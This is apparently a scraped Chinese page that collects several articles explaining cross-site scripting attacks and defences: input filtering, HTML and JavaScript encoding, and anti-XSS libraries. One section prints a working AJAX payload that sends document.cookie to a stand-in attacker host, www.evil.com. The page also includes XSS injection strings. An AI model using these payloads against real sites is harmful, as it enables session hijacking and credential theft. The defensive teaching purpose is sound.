精华内容
下载资源
问答
  • 跨站点脚本攻击
    2021-04-18 15:00:14

    在跨站点脚本(XSS)攻击中,往往有一个恶意用户在表单中(或通过其他用户输入方式)输入信息,这些输入将恶意的客户端标记插入过 程或数据库中。例如,假设站点上有一个简单的来客登记簿程序,让访问者能够留下姓名、电子邮件地址和简短的消息。恶意用户可以利用这个机会插入简短消息之 外的东西,比如对于其他用户不合适的图片或将用户重定向到另一个站点的 JavaScript,或者窃取 cookie 信息。

    幸运的是,PHP 提供了 strip_tags() 函数,这个函数可以清除任何包围在 HTML 标记中的内容。strip_tags() 函数还允许提供允许标记的列表,比如

    清单 16 给出一个示例,这个示例是在前一个示例的基础上构建的。

    清单 16. 从用户输入中清除 HTML 标记

    if ($_POST['submit'] == "go"){

    //清除标签

    $name = strip_tags($_POST['name']);

    $name = substr($name,0,40);

    //清除16进制字符

    $name = cleanHex($name);

    //continue processing....

    }

    function cleanHex($input){

    $clean = preg_replace\

    ("![\][xX]([A-Fa-f0-9]{1,3})!", "",$input);

    return $clean;

    }

    ?>

    "<?php echo $_SERVER['PHP_SELF'];?>" method="post">

    Name

    "text" name="name" id="name" size="20" maxlength="40"/>

    从安全的角度来看,对公共用户输入使用 strip_tags() 是必要的。如果表单在受保护区域(比如内容管理系统)中,而且您相信用户会正确地执行他们的任务(比如为 Web 站点创建 HTML 内容),那么使用 strip_tags() 可能是不必要的,会影响工作效率。

    还有一个问题:如果要接受用户输入,比如对贴子的评论或来客登记项,并需要将这个输入向其他用户显示,那么一定要将响应放在 PHP 的 htmlspecialchars() 函数中。这个函数将与符号、< 和 > 符号转换为 HTML 实体。例如,与符号(&)变成 &。这样的话,即使恶意内容躲开了前端 strip_tags() 的处理,也会在后端被 htmlspecialchars() 处理掉。

    更多相关内容
  • 跨站点脚本攻击xml文件
  • 防范跨站点脚本攻击的的方法 1.利用 空格 替换特殊字符 % < > { } ; & + – ” ‘ ( ) 2.使用@,具体而言是将以下语句 exec=”insert into user(username,psw,sex,department,phone,email,demo)...
  • IBM Security AppScan Standard是一个桌面工具,可用于扫描网站以检查安全漏洞,例如潜在的跨站点脚本攻击。 立即访问AppScan标准评估页面免费试用。 当浏览器将用户输入呈现为脚本时,就会发生跨站点脚本(XSS...

    跨站点脚本攻击

    盖

    跨站脚本(XSS)

    IBM分析师Nikita Gupta

    抽象

    当浏览器将用户输入呈现为脚本时,就会发生跨站点脚本(XSS)。 任何未经验证接受用户输入的网站都容易受到XSS攻击。 如果输入内容包含恶意代码,则恶意软件可以诱使目标浏览器执行其指示的任何操作,包括显示恶意内容或盗窃受害人的凭据或个人信息。 此外,通过窃取登录信息,XSS攻击者可以访问组织服务器上的受限数据或非法获得对内容的免费访问权。 这些漏洞可能会对公司的品牌和底线产生负面影响。

    一些XSS攻击是:

    已存储 :恶意脚本存储在服务器上,并感染任何访问者。

    反映 :该脚本包含在一个看起来无害的URL中,通过电子邮件发送或作为搜索结果或错误消息发送给受害者。 单击链接后,浏览器将执行脚本。

    基于DOM :攻击根本不会访问服务器。 相反,当通过客户端代码(例如JavaScript)注入受害者脚本时,恶意软件脚本会修改受害者的文档对象模型(DOM)。

    最近的研究表明,由于努力发现和修补漏洞,XSS攻击活动在2011年至2014年之间有所下降。 但是,组织不应自满。 White Hat Security仍然估计,任何给定站点都有47.9%的可能性容易受到XSS攻击。 跨站点脚本编写仍然是攻击者最喜欢的目标,他们可以在发现漏洞的地方Swift利用它们。 为了保护组织的网络免受XSS攻击,管理员可以执行以下操作:

    • 清理或验证输入
    • 进行彻底的代码审查,以确定可能的漏洞
    • 禁用HTTP跟踪,这可使攻击者窃取Cookie数据

    用户也可以通过在单击网站,电子邮件或消息中的链接时格外小心来帮助避免违规。 如有疑问,请直接输入URL。

    下载此威胁警报。


    翻译自: https://www.ibm.com/developerworks/security/library/se-xss-explained/index.html

    跨站点脚本攻击

    展开全文
  • 攻击者将恶意脚本引入用户提交的动态表单时,就会发生跨站点脚本(XSS)攻击。 XSS攻击会导致不良后果。 例如,攻击者获得了捕获会话信息的能力,可以窥探私人用户的详细信息,例如ID,密码,信用卡信息,家庭...

    防止跨站点脚本注入

    大多数现有的浏览器都能够解释和执行脚本,这些脚本以诸如JavaScript,JScript,VBScript之类的脚本语言创建,并嵌入在从Web服务器下载的网页中。 当攻击者将恶意脚本引入用户提交的动态表单时,就会发生跨站点脚本(XSS)攻击。

    XSS攻击会导致不良后果。 例如,攻击者获得了捕获会话信息的能力,可以窥探私人用户的详细信息,例如ID,密码,信用卡信息,家庭住址和电话号码,社会安全/税号等。 如果目标网站没有检查这种类型的恶意代码,则可能会滥用用户。

    为了降低脚本被识别为恶意的风险,攻击者可以使用其他编码方法(例如HEX)对其进行编码。 通过这种更改,网站将恶意内容显示在页面上,就像显示的信息是该站点中的有效内容一样。 如果Web应用程序未验证输入,则攻击者所需要做的就是诱使用户选择恶意超链接,然后Web应用程序从用户那里收集机密数据。 这使攻击者能够捕获用户的会话并窃取用户的凭据,重定向到另一个网站上的页面,然后插入可能使Cookie失效,暴露SSL连接,访问受限制的站点或私有站点,甚至触发许多此类行为的代码。攻击。

    阻止此类滥用的武器库中的第一个武器是识别容易受到XSS式入侵的区域。

    发现XSS漏洞

    以下示例旨在帮助您识别容易受到XSS攻击的区域。

    银行病

    假设攻击者希望收集虚构的流行银行网站www.simplebank.com的用户的信息。 要登录该网站,攻击者首先输入测试用户ID(“ test”)和密码(“ test”)。 当返回的错误页面返回一条消息,提示用户ID和密码组合错误时,黑客发现自己处于将恶意代码插入Web页面的理想状态。 怎么样?

    • 他首先在ID文本框中输入以下内容: <script>alert('Test')</script>
    • 他提交了表单,然后看到此JavaScript警报消息:“待完成”。 现在他知道该站点很容易受到XSS风格的攻击。
    • 然后,他可能将清单1中的脚本引入URL,该脚本将提交的用户信息重定向到恶意网站.com。

      该代码基本上将任何登录到该网站的用户的用户ID和密码信息传递给攻击者的网站。

    • 现在,用于破解用户ID和密码的脚本已经准备就绪,攻击者将使用此链接向银行网站用户发送具有诱人优惠的电子邮件和帖子。
    • 诱人的优惠提示,用户可以单击链接并登录到银行网站。 攻击者引入的恶意脚本由浏览器执行,并将数据传递到黑客的网站。 剩下的就是让黑客使用受害者的凭据登录银行网站的步伐。

    在以下情况下可能会发生这种情况:

    1. Web服务器没有采取足够的步骤来确保生成正确编码的页面。
    2. 输入未正确验证。

    在线论坛和留言板

    网络上最常见的攻击途径是搜索框和在线论坛。 攻击者根据使用的页面,使用FORMAPPLET标记在网页接受和解释的脚本标记之间插入恶意代码。 插入的恶意代码可以通过窃取会话信息或cookie来造成各种危害。

    鉴于Web设计人员需要具有许多语言和技术的知识(以防止受到攻击),这种漏洞非常普遍。 CGI,JavaScript,ASP,Perl甚至HTML标签等许多语言都适合作为此类攻击的传递工具。

    邮件和电子邮件的链接

    攻击者可以向用户发送有关银行网站的电子邮件。 假设电子邮件包含一个链接,该链接带有嵌入URL的恶意脚本。 可能会提示用户单击链接并登录到Web站点,从而使攻击者可以抓住用户的登录信息。

    如果链接中包含恶意代码,则在动态生成的页面上也是如此。 考虑可能是页面一部分的URL示例(请参见清单2 )。

    如果攻击者让应用程序显示一组HTML,则可能会麻烦很多IMGIFRAME标签都允许在显示HTML时加载新的URL。

    搜索引擎

    回显输入的搜索关键字的搜索引擎也容易受到此类攻击。 这是因为可以输入恶意代码,作为用户提交搜索时执行的关键字搜索输入的一部分。 危险可能包括访问网站的不良或私有区域。

    例如, 清单3显示了一个在目标计算机上执行代码的代码片段。 攻击者只是以这种方式插入HTML。

    错误讯息

    一些网站可能会回显输入以及由业务验证生成的错误消息。 如果输入字符串具有某些恶意设计的脚本,则将执行该脚本。 不受欢迎的后果可能包括泄露机密信息和创建可能被误认为来自用户的请求。

    设定帐户

    当用户在设置电子邮件帐户或提交包含数据的表单的过程中提交表单时,Web应用程序在接受输入的信息后可能会显示相同的信息。 输入的输入内容可能包含可能由浏览器执行的此类恶意信息。 这可能会导致从会话中泄漏关键信息,并可能暴露Web服务器的私密通道。

    蠕虫

    HTML中的IMGIFRAME标签允许在HTML显示期间加载新的URL。 某些蠕虫使用IFRAME标记提供的视图加载功能来污染运行浏览器的系统。

    当涉及到XSS风格的攻击时,这些都是漏洞。 接下来,我将简要讨论XSS入侵的主要结果。

    Cookie被窃:XSS攻击结果

    当攻击者出于恶意目的劫持应用程序发布的cookie时,就会发生cookie盗窃。 通过在URL中适当地插入脚本代码来调用站点中使用cookie且易受攻击的部分的URL,攻击者可以捕获cookie,并可能导致内容损坏以及模仿业务功能并执行虚假交易。

    例如, 清单4中的代码在单击时将cookie发送到www.destination.com/cgi-bin/cookie.cgi并显示它。 如果您看到显示Cookie的页面,则可能会劫持用户帐户。 该脚本也可以用十六进制编码,以减少检测的机会。 因此,该脚本将用户的cookie发送到攻击者的站点,在该站点中,攻击者获得了造成破坏的所有信息。

    用户的保护

    用户可以通过以下五种重要方式帮助降低其对XSS式攻击的敏感性:

    1. 不需要时禁用脚本。
    2. 不要信任到电子邮件或留言板上其他站点的链接。 它们可能包含具有潜在破坏力的恶意代码。
    3. 除非您特别信任它们,否则请不要访问那些指向涉及个人或企业信息的安全敏感页面的网站链接。
    4. 直接通过其地址访问任何涉及敏感信息的站点,而不是通过任何第三方站点。
    5. 获取攻击及其发生的站点和登台的列表,如果需要访问其中的一个,请当心。

    Web开发人员的最佳做法

    网站的设计者和维护者如何? 您可以通过本节中突出显示的各种方法来减少问题,包括在Web开发人员最后的清单。

    首先,验证输入。 以下脚本接受一个参数,并将其反映在显示屏上。

    清单5.接受并反映参数的易受攻击的脚本
    #!/usr/bin/perl
            use CGI;
    
            my $var1 = CGI->new();
            my $parameter = $cgi->param('text');
    
            print $var1->header();
            print "parameter";

    这段代码很容易受到XSS攻击,因为没有进行检查来验证输入。 解决方案是在显示输入和HTML之前对其进行验证,并对数据进行转义。 HTML转义数据意味着非字母数字字符在内部以不同的方式表示。 例如,小于(<)和大于(>)的符号表示为字符串(<和>)。

    以这种方式添加输入验证:

    $parameter = ~ s/[^A-Za-z0-9 ]*/ /g;

    此验证仅允许使用字母数字和空格字符,并过滤其余字符。 您可以通过添加以下内容进一步加强验证:

    HTML::Entities::encode($parameter)

    该代码段实际上将HTML字符编码为HTML实体引用。 诸如小于号<类的字符被编码为“ <”,以帮助过滤出此类攻击。 但是,这还不是解决方案的终点,攻击可能会以其他形式出现。

    您可以通过在任何输出之前插入以下代码行来向脚本添加输入验证。 该代码消除了字母,数字和空格以外的任何输入。

    HTML::Entities::encode($text);
    
            $text =~ s/[^A-Za-z0-9 ]*/ /g;

    该脚本容易盲目打印提交的表单数据,因此容易受到跨站点脚本攻击。 要摆脱此漏洞,您可以执行输入验证或确保在显示用户提交的数据之前始终将其转义为HTML。

    考虑到这一点, TaintRequest使HTML转义数据的过程自动化。 它总是在显示或打印数据之前进行验证,并且HTML会对内容进行转义。 (Perl内置有类似Taint模式的功能,可用于此类安全检查。)此方法可确保流入程序的任何外部数据都不会直接用于处理文件和目录或执行进程。 Apache::TaintRequest是一种非常强大的检查功能,可以防止此类攻击并使应用程序更不容易受到XSS危害的影响。

    要激活此功能,请将以下内容插入httpd.conf文件。

    PerlTaintCheck on

    执行以下操作以确保脚本使用Apache::TaintRequest

    use Apache::TaintRequest;
    my $var1 = Apache::TaintRequest->new (Apache->request);
    my $parameter = $var1->param('parameter');
    $r->content_type("text/html");
    $r->send_http_header;
    $parameter =~ s/[^A-Za-z0-9 ]//;
    $r->print($parameter);

    该代码段吸收了用户的污染数据,从而确保了保护,因为它检查了要打印的字符只是字母数字字符和空格。

    以下是网站管理员和开发人员防止XSS攻击的方法清单:

    • 确保网站中的页面仅在对任何恶意代码进行验证之后才返回用户输入。
    • 验证输入时,过滤输入中的元字符。 (这可能是消除XSS攻击的主要检查点。尽管它不能消除所有XSS问题,但可以提醒Web维护人员站点安全方面的不足。)
    • 对于XSS,不要完全信任使用HTTPS(安全套接字层)的网站。 HTTPS确保安全的连接,但是对用户输入的数据的处理是应用程序内部的。 如果应用程序具有XSS漏洞,则攻击者可能发送仍可以由应用程序执行的恶意脚本,并导致XSS入侵。
    • 在搜索引擎和论坛中显示用户输入之前,请将所有非字母数字字符转换为HTML字符实体。
    • 在设计阶段广泛使用测试工具,以消除应用程序中的此类XSS漏洞,然后再使用。 (强调这一点的最佳实践指南是极限编程的哲学。)
    • 用私钥和公钥开发一些标准或签名脚本,这些脚本实际上会检查以确定引入的脚本是否确实经过身份验证。 (要大规模实施,必须将Internet规则标准化,以从W3C等主要参与者的输入中得出通用方法。)

    一磅预防...

    跨站点脚本攻击构成了巨大的风险。 攻击可能导致各种问题,从一个用户的身份盗用到涉及数百万消费者和企业的重大财务和安全问题的入侵。 诸如输入验证和HTML转义之类的补救措施是一个开始,但是必须在接受数据的所有应用程序点上应用它们。 具有单个被忽略的表单字段的应用程序与不进行任何检查的应用程序一样不安全。

    本文并未涵盖针对XSS样式攻击的完整解决方案-我仅讨论了用户和Web开发人员可以采用的个别方法。 防止这些入侵的另一个组成部分必须来自全球,行业层面-更多的研究和国际标准的协调。


    翻译自: https://www.ibm.com/developerworks/web/library/wa-secxss/index.html

    防止跨站点脚本注入

    展开全文
  • 如何防止跨站点脚本攻击

    万次阅读 2017-10-31 01:00:50
    跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。安全研究人员在大部分最受欢迎的网站,包括Google, Facebook, Amazon, PayPal等网站都发现这个漏洞。如果你密切关注bug赏金计划,会发现报道最多的问题属于...

    1. 简介

    跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。安全研究人员在大部分最受欢迎的网站,包括Google, Facebook, Amazon, PayPal等网站都发现这个漏洞。如果你密切关注bug赏金计划,会发现报道最多的问题属于XSS。为了避免跨站脚本,浏览器也有自己的过滤器,但安全研究人员总是能够设法绕过这些过滤器。

    这种漏洞(XSS)通常用于发动cookie窃取、恶意软件传播(蠕虫攻击),会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注入到网站页面中,这样”受害”者的浏览器就会执行攻击者编写的恶意脚本。这种漏洞容易找到,但很难修补。这就是为什么你可以在任何网站发现它的身影。

    在这篇文章中,我们将看到跨站脚本攻击是什么以及如何创建一个过滤器来阻止它。我们还将看到几个开源库,将帮助你修补在web应用程序中的跨站脚本漏洞。

    2. 跨站点脚本是什么?
    跨站点脚本攻击是一种Web应用程序的攻击,攻击者尝试注入恶意脚本代码到受信任的网站上执行恶意操作。 在跨站点脚本攻击中,恶意代码在受影响用户的浏览器端执行,并对用户的影响。也被称为XSS攻击。你可能有一个疑问就是为什么我们叫它”XSS”,而不是”CSS”。

    对于广大的web程序猿来说。在网页设计中,我们已经把级联样式表叫做CSS。因此为了避免混淆,我们把cross-site scripting称为XSS。

    现在,让我们回到XSS攻击。这个漏洞发生在网站应用程序接收用户的输入数据却没有做必要的编码。如果对用户输入的数据没有进行正确的编码和过滤,这个被注入恶意脚本将被发送给其他用户。 对浏览器来说,它没有办法知道它不应该相信一个脚本的合法性。浏览器会正常地把这个脚本当成普通脚本执行,这个时候恶意的操作就不可避免的发生了。大部分的时候,XSS是用来窃取cookie,或窃取有效用户的会话令牌session,以此进行会话劫持。

    3. XSS的演示

    Example 1:
    几乎所有的网站上看到一个搜索框。有了这个搜索框,你可以搜索并找到在网站上存放的资料。这种搜索形式看起来像这样

    <form action="search.php" method="get">
        <input type="text" name="q" value="" />
        <input type="submit" value="send" />
    </form>

    在search.php页面中,代码显示了搜索的结果,并且列出了用户输入的搜索关键字。形式如下:
    “Search results for Keyword”或者”You Searched for Keyword”

    search.php可以这么写来模拟功能:

    <h3>You Searched for: <?php echo($_GET['q']); ?>

    无论你输入任何关键字,它将随搜索结果一起被显示在网页上。现在想想会发生什么,如果一个攻击者试图从这个地方注入以下恶意脚本。

    <script>alert('XSS injection')</script>

    可以看到,因为缺少对用户输入的有效的”编码”和”过滤”。导致了XSS攻击的发生,其实从本质上理解,XSS就是一种HTML的注入,和传统的buffer overflow是类似的思想,即没有对数据和代码进行有效的分离,在缓冲区溢出总,攻击者在通过超长的数据包发送覆盖了程序buffer的关键返回ret位置,导致CPU控制流的劫持,错误地把攻击者数据当作代码来执行,最后导致了缓冲区溢出。

    而XSS中的HTML注入也是一种利用代码和数据未有效分离的攻击,只不过攻击发生在受害者用户的浏览器上,攻击者将数据发送给服务器,服务器没有对输入的数据进行有效的”编码”和”过滤”(即去除数据本身的代码特性,对于HTML来说就是去除它们称为Tag标签的可能),导致了这些数据在用户的浏览器上得到执行,最终导致XSS攻击的发生。

    Example 2:

    很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:

    <form action="sendmessage.php" method="post'">
        <textarea name="message"> </textarea>
        <input type="submit" value="send" />
    </form>

    当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。

    恶意攻击者可以在消息框中加入一下javascript代码:

    var url = "http://www.evil.com/index.php";   //攻击者控制的服务器
    var postStr = "ck=" + document.cookie;
    var ajax = null;
    if(window.XMLHttpRequest())
    {
        ajax = new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        ajax = new ActiveXObject("Microsoft.XMLHttp");
    }
    else
    {
        return;
    }
    ajax.open("POST", url, true);
    ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    ajax.send(postStr);
    ajax.onreadystatechange = function()
    {
        if(ajax.readyState == 4 && ajax.status == 200)
        {
            //alert("Done!");
        }
    }

    通过AJAX异步请求,将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以”合法”用户的身份进行登录操作。

    这里首先要理清楚几个重要的问题:

    1. cookie的作用

    Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。

    也就是说,cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等),但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie,通过cookie中的特定值来识别sessionID,才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。

    2. 浏览器的同源策略

    在进行cookie窃取的时候,攻击者偷取的cookie是什么,是全部cookie,还是当前这个网站的cookie?要解决这个问题,我们要先了解一些浏览器的同源策略。

    同源策略,它是由Netscape提出的一个著名的安全策略。
    现在所有支持JavaScript 的浏览器都会使用这个策略。
    所谓同源是指,域名,协议,端口相同。
    当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面
    当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,
    即检查是否同源,只有和百度同源的脚本才会被执行。

    同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。

    浏览器的同源策略限制了来自不同源的”document”或脚本,对当前”document”的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱,浏览器提出了”Origin”(源)这以概念,来自不同的Origin的对象无法互相干扰。

    因为同源策略的原因,也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在www.a.com下的cookie,那就必须在www.a.com这个域(可以是不同页面,但要保证是同一个域)下的的某一个页面放置XSS代码,可以是存储型,也可以是反射型或DOM Baesd型的。

    4. XSS攻击的种类

    对XSS的分类没有明确的标准,但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS

    4.1 非持久性跨站点脚本攻击

    非持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的XSS攻击。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

    4.2 持久的跨站点脚本攻击

    持久型跨站点脚本也称为存储跨站点脚本。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。在上面的示例中,第二个例子就展示了一个持久的XSS攻击。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

    4.3 基于dom的跨站点脚本攻击

    基于DOM的XSS有时也称为type0 XSS。当用户能够通过交互修改浏览器页面中的DOM(Document Object Model)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
    通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

    <script>
        function test()
        {
            var str = document.getElementById("text").value;
            document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>";
        }
    </script>
    <div id="t"></div>
    <input type="text" id="text" value="" />
    <input type="button" id="s" value="write" onclick="test()" />

    在这个场景中,代码修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS

    ' onclick=alert(/xss/) '

    输入后,页面代码就变成了:

    <a href='' onclick=alert(/xss/) '' >testLink</a>

    点击这个新生成的链接,脚本将被执行。

    实际上,这里还有另外一种利用方式—除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签:

    '><img src=# onerror=alert(/xss2/) /><'

    页面代码变成了:

    <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>

    5. XSS漏洞产生的原因

    跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体,用制造出一种行之有效的XSS过滤器是一件比较困难的事情。
    但是这只是相对的,对用户输入数据的”编码”和”过滤”在任何时候都是很重要的,我们必须采取一些针对性的手段对其进行防御。

    6. 如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码

    6.1 需要重点”编码”和”过滤”的对象

    The URL
    HTTP referrer objects
    GET parameters from a form
    POST parameters from a form
    Window.location
    Document.referrer
    document.location
    document.URL
    document.URLUnencoded
    cookie data
    headers data
    database data

    防御XSS有一个原则:

    以当前的应用系统为中心,所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据),所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)

    对输入的数据进行”过滤”,对输出数据进行”编码”。这里的”编码”也要注意,必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode,如果数据是输出到javascript代码中进行拼接的,那就要进行javascriptEncode。

    如果不搞清楚数据具体输出的语境,就有可能因为HtmlParser()javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。

    6.2 HtmlEncode HTML编码

    它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1
    为了对抗XSS,在HtmlEncode中要求至少转换以下字符:

    &   -->   &amp;
    <   -->   &lt;
    >   -->   &gt;
    "   -->   &quot;
    '   -->   '
    /   -->   /
    在PHP中:

    htmlentities
    http://www.w3school.com.cn/php/func_string_htmlentities.asp

    htmlspecialchars
    http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

    6.3 javascriptEncode javascript”编码”

    javascriptEncode与HtmlEncode的编码方法不同,HtmlEncode是去编码,而javascriptEncode更多的像转义,它需要使用”\”对特殊字符进行转义。从原理上来讲,这都符合编码函数的一个大原则: 将数据和代码区分开,因为对于HTML Tag来说,我们对其进行”可视化(转换成可以见字符)”的编码可以将数据和HTML的界限分开。而对于javascript来说,我们除了要进行编码之外,还需要对特殊字符进行转义,这样攻击输入的用于”闭合”的特殊字符就无法发挥作用,从而避免XSS攻击,除此之外,在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。

    escape()
    http://www.w3school.com.cn/js/jsref_escape.asp

    该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ – _ + . / 。其他所有的字符都会被转义序列(十六进制\xHH)替换。
    利用这个编码函数,不仅能防御XSS攻击,还可以防御一些command注入。

    7. 一些开源的防御XSS攻击的代码库

    PHP AntiXSS
    这是一个不错的PHP库,可以帮助开发人员增加一层保护,防止跨站脚本漏洞。
    
    https://code.google.com/p/php-antixss/
    
    xss_clean.php filter
    
    https://gist.github.com/mbijon/1098477
    
    HTML Purifier 
    
    http://htmlpurifier.org/
    
    xssprotect 
    
    https://code.google.com/p/xssprotect/
    
    XSS HTML Filter
    http://finn-no.github.io/xss-html-filter/
    
    来源:http://www.freebuf.com/articles/web/15188.html
    展开全文
  • 【白帽子学习笔记13】DVWA CSRF【反射性XSS(跨站点脚本攻击)】 文章目录【白帽子学习笔记13】DVWA CSRF【反射性XSS(跨站点脚本攻击)】XSS1、什么是XSS?2、XSS类型3、漏洞形成的原因反射型XSS1、原理图获取...
  • web跨站点脚本攻击方式和测试方法.doc
  • 现在每天都在生成新的 Web 应用程序工具,因此 Web 的安全性是最重要的。 从几年前开始,网络攻击不断增加,... 在工具的帮助下,我们可以发现漏洞的类型主要是SQL注入攻击和跨站点脚本攻击可能发生在Web应用程序中。
  • XSS脚本攻击在Java开发中防范的方法
  • 跨站点脚本攻击 营造安全文化 公司将应用程序移动到Web上,以改善客户互动,降低业务处理成本并加快结果的速度。 但是这样做也增加了漏洞-除非安全性是应用程序开发过程的组成部分。 要了解有关在组织中创建...
  • React + MobX TodoMVC示例 该存储库提供了使用 , JSX和ES6编写的应用程序的参考实现。 运行示例 npm install npm start ...该示例要求节点4.0或更高版本 测试XSS 将以下行添加为待办事项并重新加载页面......
  • 跨站点脚本编制

    2021-02-28 17:13:02
    跨站点脚本编制”攻击是一种隐私违例,可让攻击者获取合法用户的凭证,并在与特定 Web 站点交互时假冒这位用户。这个攻击立足于下列事实:Web 站点中所包含的脚本直接将用户在 HTML 页面中的输入(通常是参数值)...
  • 跨站点脚本攻击(XSS)(示例代码)

    千次阅读 2021-08-12 02:26:31
    (4)window.name:可以实现跨域、页面传递数据。 7.变废为宝: (1)Expect Header XSS:服务器出错返回时,会把Expect头的内容未经任何处理便写入到页面中,因此Expect头中的HTML代码就被浏览器解析执行了。 ...
  • 跨站点脚本攻击

    2018-06-29 11:53:00
    跨站点脚本攻击 跨站点脚本攻击 介绍 XSS是跨站脚本攻击(Cross Site Scripting)的缩写。XSS是因为有些恶意攻击者往Web页面中插入恶意Script代码,当用户浏览该页面时,嵌入的Script代码将会被执行...
  • 各位在做软件漏扫,尤其是Web应用系统漏扫时,可能会遇到系统存在跨站点脚本攻击(XSS)漏洞的警告,那今天就聊一下它。 概述 跨站点脚本攻击(Cross Site Scripting简称XSS)是一种常见的攻击行为,它是指恶意攻击...
  • 该Web应用程序还可以防止SQL注入和跨站点脚本攻击。 使用的技术 前端: HTML,CSS,JavaScript,Jquery,Bootstrap,Java服务器页面(JSP),AJAX(用于Flight Search窗口小部件) 后端: Java Servlet,Java模型...
  • XSS攻击全称脚本攻击(Cross-site scripting),为和CSS区别,改为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意的web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和...
  • 该Web应用程序还可以防止SQL注入和跨站点脚本攻击。 使用的技术 前端: HTML,CSS,JavaScript,Jquery,Bootstrap,Java服务器页面(JSP),AJAX(用于Flight Search窗口小部件) 后端: Java Servlet,Java模型 ...
  • XSS脚本攻击漏洞

    千次阅读 2022-01-10 11:40:01
    XSS脚本攻击漏洞 文章目录XSS脚本攻击漏洞0x01 XSS 背景0x02 XSS 概论利用XSS漏洞XSS攻击的类型反射型XSS:存储型XSS:DOM型XSS:0x03 最常见的cookies类型a.Session Cookieb.Persistent Cookiec.Secure ...
  • [科普]如何防止跨站点脚本攻击

    千次阅读 2018-01-19 14:52:18
    1. 简介跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。安全研究人员在大部分最受欢迎的网站,包括Google, Facebook, Amazon, PayPal等网站都发现这个漏洞。如果你密切关注bug赏金计划,会发现报道最多的...
  • PHP 脚本攻击漏洞修复插件,php防护代码,依托360的360_safe3.php文件,使用方法:1.将360_safe3.php传到要包含的文件的目录,2.在页面中加入防护,有两种做法,根据情况二选一即可:  a).在所需要防护的页面...
  • 跨站点脚本(XSS)攻击中,攻击者将恶意代码注入到合法的网页中,然后该网页运行恶意的客户端脚本。当用户访问受感染的网页时,脚本将下载到用户的浏览器并从其运行。此方案有很多变体。恶意脚本可能访问浏览器...
  • 各位大神,这是我写的一个...我已经使用自己写的filter方法过滤特殊字符了,为什么还能被执行脚本![图片说明](https://img-ask.csdn.net/upload/201706/26/1498461032_194065.png) 我应该怎么解决这个漏洞?求大神解决
  • 跨站点脚本 (XSS)

    千次阅读 2020-09-06 10:27:01
    通常用于跨站点脚本攻击的易受攻击的车辆是允许注释的论坛、留言板和网页。 如果网页或 Web 应用程序在生成的输出中使用未消毒的用户输入,它很容易受到 XSS 的影响。然后,受害者的浏览器必须分析此用户输入
  • 在本文中,我们将尝试了解什么是跨站点脚本(XSS)。
  • XSS脚本攻击

    千次阅读 2020-12-21 17:06:53
    3.3 DOMBasedXSS(基于dom的跨站点脚本攻击) 4 XSS攻击实例分析 5 XSS漏洞修复 5.1 html实体 5.2 HTML Encode 5.3 修复漏洞方针 5.4 PHP中的相应函数 5.5 数据过滤类 6 XSS如何防范? cookie安全策略 X-...

